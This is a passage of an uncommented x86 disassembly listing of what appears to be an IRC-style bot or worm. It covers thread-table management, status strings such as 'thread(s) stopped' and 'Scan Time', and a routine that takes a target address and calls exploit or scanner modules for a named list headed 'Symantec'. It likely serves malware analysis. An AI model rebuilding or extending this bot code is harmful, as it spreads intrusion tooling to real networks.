		push	[ebp+Dest]	; Dest
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+Dest]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B0F7(char *Source,int,int)

sub_40B0F7	proc near		; CODE XREF: WinMain(x,x,x,x)+378p
					; WinMain(x,x,x,x)+3B7p ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_43E390[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B162	proc near		; DATA XREF: sub_401ACD+298Ao

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]	; int
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Str]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_40B1B4
		push	[ebp+var_14]
		call	sub_40B413
		add	esp, 14h
		push	0
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_40B162	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B1B4(int,char *Str,int,int)

sub_40B1B4	proc near		; CODE XREF: sub_40B162+38p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_431A80 ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B1DE:				; CODE XREF: sub_40B1B4+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B21F
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B1F2
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B21F


loc_40B1F2:				; CODE XREF: sub_40B1B4+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 24h


loc_40B21F:				; CODE XREF: sub_40B1B4+2Dj
					; sub_40B1B4+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B1DE
		pop	edi
		pop	esi
		leave
		retn
sub_40B1B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		call	ds:dword_4270AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC	; closesocket
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; WinMain(x,x,x,x):loc_4017D9p	...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: WinMain(x,x,x,x)+40Fp
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B385(int,int,int,int,int,int,int,char *Str)

sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_40B39E
		push	[ebp+Str]	; Str
		call	_atoi
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; sub_40B162+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B64B(int,char *Str,int)

sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_431E9C ; "-"
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_431E90 ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B71A(int,char *Str,int)

sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+Dest]
		push	dword_4CE15C
		push	offset asc_431EBC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B786(int,char *Str,int)

sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	dword_4CE3A4
		push	offset asc_431F04 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B7DB(int,char *Str,int)

sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

Source		= byte ptr -1000h
Dest		= byte ptr -800h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	__alloca_probe
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_431F50 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+Source]
		push	offset asc_431F40 ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8A2	proc near		; DATA XREF: sub_401ACD+30E1o

Dest		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
Format		= byte ptr -134h
Str		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Format]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+Format]
		push	eax
		call	dword_4CB694	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_431B00, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BA04
		mov	ebx, offset dword_431B00
		mov	eax, ebx


loc_40B8F3:				; CODE XREF: sub_40B8A2+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_431FA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+var_1EC]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40B98F
		lea	eax, [ebp+Str]


loc_40B98F:				; CODE XREF: sub_40B8A2+E5j
		push	eax		; Format
		lea	eax, [ebp+var_1DC]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


